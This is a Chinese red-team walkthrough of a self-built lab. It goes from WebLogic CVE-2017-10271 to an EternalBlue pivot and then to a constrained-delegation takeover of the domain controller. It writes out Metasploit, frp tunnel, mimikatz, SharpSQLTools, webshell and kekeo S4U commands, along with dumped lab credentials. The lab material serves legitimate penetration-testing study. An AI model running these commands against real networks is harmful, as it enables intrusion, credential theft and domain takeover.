从外网 Weblogic 打进内网,再到约束委派接管域控

释放双眼,带上耳机,听听看~!

渗透攻击红队

一个专注于红队攻击的公众号

大家好,这里是 渗透攻击红队 的第 78 篇文章,本公众号会记录一些红队攻击的案例,不定时更新!请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!

对于本星球的域渗透系列文章目前已更新完结:(接下来会更新其他系列文章,敬请期待)

为了能让来星球学习的兄弟们有一个更好的学习环境,我搭建了一套域渗透靶场:

域控桌面下一个一个 Flag 文件,需要拿到即可通关。

PS:本靶场下载地址在文章末尾,欢迎大家来打靶场,若靶场打通关并写了 WP 后可@我,我从中抽取5个写的最好的 WP 的兄弟,赠送免费名额进知识星球。

从外网 Weblogic 打到内网,再到约束委派接管域控

外网打点之 Weblogic-CVE-2017-10271

首先拿到了目标的 IP:192.168.0.154,对该 IP 使用 Nmap 进行常规 TCP 端口扫描:
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.0.154

在一般实战中建议制定端口扫描,因为速度快且扫描精度高:

发现开放了两个端口,其中有一个是 Weblogic 12:http://192.168.0.154:7001/console/login/LoginForm.jsp

通过信息搜集发现目标存在 CVE-2017-10271反序列化漏洞:

且当前权限是一个 administrator 权限,而且出网:

由于当前机器无 AV 直接上 Powershell 上线到 CobaltStrike:

工作组下的内网渗透


通过发现当前机器是有两个网卡,其中 10 是内网网卡,随后对当前机器进行抓密码:

WEBLOGICAdministrator ccef208c6485269c20db2cad21734fe7

由于当前是 Windows 2012 所以无法抓到明文,先留着,由于是工作组环境,先对其 C 段进行信息搜集看看存活:

发现内网有一台 Windows 7(10.10.20.7)应该是域机器。

通过 fscan 也扫描出来存在永恒之蓝:

随后通过 Frp 建立一个 socks5 隧道,红队人员 VPS 配置文件 frps.ini,然后运行:

[common]bind_addr =0.0.0.0bind_port = 7000

之后来到目标跳板机器运行 frpc:

[common]server_addr = 192.168.0.175server_port = 7000[plugin_socks]type = tcpremote_port = 7777plugin = socks5

建立好 socks5 隧道后 Metasploit 对其利用拿到 Meterpreter 会话:


msf6 > setg Proxies socks5:192.168.0.175:7777msf6 > setg ReverseAllowProxy truemsf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 > set payload windows/x64/meterpreter/bind_tcpmsf6 > set rhost 10.10.20.7msf6 > run

通过调用 mimikatz 成功抓到其域用户的密码:

Username  Domain   Password--------  ------   --------saul      REDTEAM  admin!@#45


中转上线到 CobaltStrike 进行二层内网域渗透


因为此 Win7 不出网,随后只能通过 CobaltStrike 设置中转:

然后成功上线到 CobaltStrike:

通过信息搜集发现当前机器的确是在域环境:

随后定位到域控 DC IP 为:10.10.10.8

想个办法拿到 DC,首先当前进程是没有域管的,所以暂且放弃令牌窃取:

由于我们已经拿到了一个域用户的账户密码,尝试查找约束委派的用户:

AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密。

通过信息搜集发现 sqlserver 这台机器开放了 80、1433(mssql):

通过一顿信息搜集没发现 80 有什么可利用的东西:

但是通过一波密码喷洒发现 mssql 数据库的密码是弱口令:

随后对其进行 xp_cmdshell 调用系统命令:

发现权限很小只是一个普通服务权限,由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了:

既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧。

一般 iis 的目录是:C:inetpubwwwroot,那么查看下是否存在:

果然还是默认目录,接下来写个 txt 试试:

不行权限太小了,这条路走不通。

使用 SharpSQLTools 开启目标 clr:

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

然后启用并调用命令:

SharpSQLTools.exe 10.10.10.18 sa sa master enable_clrSharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

这下子就是一个系统权限了!

随后添加了一个管理员:

然后写文件也能写进去:

然后写了一个一句话进去:

echo ^"^Jscript^"^%^>^"saul^"^]^,^"unsafe^")^;^%^>>c:inetpubwwwroot1.aspx

发现都不行,还是用 MSF 把:

exploit/windows/mssql/mssql_clr_payload

然后找到了一个可读可写目录上传 exe 成功,然后中转再上线到 CobaltStrike:

权限太小了,用这个执行下:

这个时候提权成功,然后抓到 sqlserver 的密码:

user : redteamsqlserverpass : Server12345

之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过约束委派攻击来接管域控。

约束委派接管域控


利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

成功拿到域控权限:

最后也是成功拿到 Flag:



靶场下载地址:

https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ 

提取码: vbi2 

本文来源自:渗透攻击红队

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

给TA打赏
共{{data.count}}人
人已打赏
CVE漏洞利用库渗透测试

只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)

2023-1-2 7:20:05

渗透测试

横向移动 - PsExec 的使用

2023-1-9 8:53:04

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
今日签到
有新私信 私信列表
搜索